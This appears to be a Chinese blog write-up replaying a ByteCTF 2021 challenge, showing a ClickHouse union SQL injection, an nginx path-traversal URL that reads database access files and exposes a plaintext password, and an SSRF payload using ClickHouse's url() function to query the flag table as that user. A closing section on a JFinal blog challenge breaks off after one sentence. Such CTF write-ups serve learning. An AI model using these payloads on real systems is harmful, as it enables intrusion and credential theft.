2021bytectf复现

前言

本来想打的(虽然自己很菜),但是周末有校赛,被拉过去凑数了没办法,后面来复现学习一下

double sqli

输入单引号有报错信息,搜索了一下报错信息,发现是clickhouse下的sql

img 这里查到了clickhouse下sql使用的手册,直接使用union就可以实现联合注入,并且是数字型注入
1 union all select user()
img

但是啥也没有抓包一下,发现是nginx服务器

?id=2时

然后看到有个file,又是nginx服务器,有个目录穿越的漏洞:
https://blog.csdn.net/weixin_41924764/article/details/113362883

/flies../

接下来就是去看看有没有sql配置文件看看里面的信息

http://39.105.175.150:30001/files../var/lib/clickhouse/access/

下载userlist和另外两个sql配置文件可以发现,存在另一个user用户
img

发现存在着另一个用户的密码

ATTACH USER user_01 IDENTIFIED WITH plaintext_password BY 'e3b0c44298fc1c149afb';
ATTACH GRANT SELECT ON ctf.* TO user_01;

然后要怎么登陆呢?
使用另一个用户登陆mysql,那就需要ssrf
查了一下 发现clickhouse中的sql可以使用url()来执行http协议,并且clickhouse中的http协议可以实现sql语句的使用实现ssrf

https://clickhouse.com/docs/zh/sql-reference/table-functions/url/

https://clickhouse.com/docs/zh/interfaces/http/

https://blog.deteact.com/yandex-clickhouse-injection/

img

这个是个例子,根据这个例子我们可以构造一下试试看

?id=1 union all select * from url('http://127.0.0.1:8123/?query=select+*+from+ctf.flag&user=user_01&password=e3b0c44298fc1c149afb',Values, 'column1 String')

这样就可以了,主要是读文档的能力吧

Unsecure Blog

该blog是基于Jfinal框架进行二次开发的,在应用启动除发现存在全局的securitymanager,并且做了一些限制

Author

vague huang

Posted on

2021-10-19

Updated on

2021-10-31

Licensed under

Comments